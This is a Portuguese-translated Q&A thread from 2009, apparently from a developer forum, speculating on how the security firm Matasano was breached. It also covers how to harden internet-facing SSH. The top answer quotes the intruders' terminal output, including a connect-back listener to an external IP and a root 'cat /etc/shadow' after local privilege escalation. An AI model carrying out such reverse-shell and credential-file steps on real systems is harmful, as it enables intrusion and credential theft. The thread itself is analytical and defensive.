Como Matasano foi hackeado?

10

de: link

Se eu entendi melhor nas postagens de: link os caras do Matasano deixaram o sshd na internet acessível - qualquer proposta soluções para isso (do ponto de vista de programação)?

    
por user14898 26.07.2009 / 07:52

5 respostas

34

Como o Matasano foi hackeado?

Isso é impossível responder a partir das informações no post para Divulgação Completa. No entanto, é sempre interessante especular, pois eles dão um pouco de informação -

# ./th3_f1n4l_s0lut10n www.matasano.com
[-] Connecting to 69.61.87.163:22..
[/] Looking for valid non-root user.. adam
******** R3D4CT3D h4h4h4h4 ********

Eles executam seu binário " th3_f1n41_s01ut10n " contra o servidor do Matasano, que se conecta à porta ssh. Ele encontra um usuário não root válido por meio de algum meio desconhecido e o restante da saída é redigido.

# ./th3_f1n4l_s0lut10n -u adam -t 3 www.matasano.com
[*] Connectback listener on 209.112.118.10:3338..
[!] SSH2_MSG_SERVICE_ACCEPT [OpenSSH_4.5p1, OpenSSL 0.9.8g 19 Oct 2007] 

O binário é executado novamente usando o nome de usuário encontrado, que faz o login e se conecta de volta ao servidor na porta 3338 (espero que não esteja registrado em seu nome ...).

adam_at_www:~$ uname -a
Linux www 2.6.20.1-1-686 #1 SMP Sun Mar 4 12:44:55 UTC 2007 i686 GNU/Linux
**** h4h4h4hh4h4h4 l3tz us3 m0r3 !0D4Y! H4H4H4H4H4H4H4 ****

Eles podem estar insinuando que eles têm um dia de 0 contra esse kernel, o que é bastante antigo quando você considera as ações da empresa.

adam_at_www:~$ cd /tmp
*********** B0R1NG ***********
root_at_www:~# cat /etc/shadow 

Whoops - de repente, o usuário agora é root. Eles têm uma exploração de escalonamento de privilégio local em / tmp que pode ser o dia 0 a que se referem.

Portanto, há pelo menos duas explorações acontecendo aqui: a exploração do OpenSSH para obter um usuário não-root válido no sistema e efetuar login como esse usuário e, em seguida, o escalonamento de privilégios locais.

Considerando que o OpenSSH tem alguns problemas de segurança conhecidos desde a versão 4.5:

Da página de segurança do OpenSSH :

    O
  • OpenSSH anterior à versão 5.2 é vulnerável à fraqueza do protocolo descrita no CPNI-957037 "Ataque à recuperação de texto simples contra o SSH". No entanto, com base nas informações limitadas disponíveis, parece que esse ataque descrito é inviável na maioria das circunstâncias. Para mais informações, consulte as notas da versão do cbc.adv advisory e do OpenSSH 5.2.
  • O OpenSSH 4.9 e o mais recente não executam ~/.ssh/rc para sessões cujo comando foi substituído por uma diretriz sshd_config (5) ForceCommand. Este foi um comportamento documentado, mas inseguro (descrito nas notas de lançamento do OpenSSH 4.9).
  • O OpenSSH 4.7 e o mais recente não voltam a criar cookies de autenticação X11 confiáveis quando a geração de cookies não confiáveis falha (por exemplo, devido ao esgotamento deliberado de recursos), conforme descrito nas notas de versão do OpenSSH 4.7.

Acho que ter esse kernel Linux mais antigo e o daemon SSH mais antigo fez por eles. Além disso, foi executado em seu servidor www, que está disponível para a Internet, o que é uma coisa bastante confiante para fazer na minha opinião. As pessoas que invadiram obviamente queriam constrangê-los.

Como evitar esses ataques?

Isso poderia ter sido evitado pela administração proativa - garantindo que todos os serviços voltados para a Internet fossem corrigidos e limitando o número de pessoas que podem se conectar em vez de permitir que as pessoas se conectem de qualquer lugar. Esse episódio agrava a lição de que a administração segura do sistema é difícil e requer dedicação da empresa para dar tempo para a TI manter as coisas atualizadas - na realidade, não é algo que acontece com facilidade, pelo menos em empresas menores.

Usar uma abordagem de cinto-e-chaves é melhor - usar autenticação de chave pública, lista branca no daemon ssh, autenticação de dois fatores, restrições de IP e / ou colocar tudo atrás da VPN são possíveis rotas para bloqueá-la.

Acho que sei o que vou fazer no trabalho amanhã. :)

    
por 26.07.2009 / 11:22
3

As pessoas adoram criar um FUD sobre isso, mas parece que eles sabiam que o usuário adam já estava lá e sabia sua senha também (talvez através da força bruta ou outros métodos). No entanto, eles querem parecer legais e criar esse alarido por toda parte.

Outra coisa interessante a notar é que o usuário adam não está logado na caixa há mais de um ano:

(saída do lastlog)

 adam             pts/1    ool-4350ab48.dyn Sat Jul 26 20:45:18 -0400 2008

Então, ele provavelmente guardou a senha (talvez ruim) por um tempo.

* Se eles realmente tivessem uma ferramenta para descobrir nomes de usuários via SSH, eles poderiam ter usado todos os outros usuários para obter acesso remoto, mas eles usaram o nome de usuário mais comum naquela caixa (facilmente adivinhar).

    
por 26.07.2009 / 14:20
2

Por que você tentaria resolvê-lo do ponto de vista da programação?

Você deve resolvê-lo do ponto de vista do administrador do servidor inteligente. Há algumas ótimas sugestões nos comentários dos links que você postou, como usar uma lista de permissões.

Eu também gostaria de acrescentar que, porque você está perguntando aqui, você provavelmente não é um especialista em segurança, e qualquer coisa que você possa pensar em escrever só acrescentaria mais buracos. Isso realmente não é uma questão de programação.

    
por 26.07.2009 / 08:03
2

Proteja seu software contra ataques de 0 dia ... o que é impossível.

Talvez uma boa abordagem seja afirmar que seu software é irrompível, o que levará os whitehats a experimentá-lo e a divulgar tudo, deixando menos buracos. O Oracle 10 teve essa afirmação e, no dia seguinte, nove novos buracos foram encontrados. É bem seguro agora.

Provavelmente, o hacker abusou da configuração de um software perfeitamente bom

    
por 26.07.2009 / 08:04
2

me surpreende que eles tivessem tantos usuários com shells naquela máquina. É assim que eles são donos, com certeza, todo o resto é arenque vermelho destinado a distrair. um deles tem o seu cliente ssh backdoored em alguma outra máquina shell, e então acabou o jogo. dar contas shell a todos e tornar o mundo sshd acessível é apenas preguiçoso e estúpido.

    
por 28.07.2009 / 19:43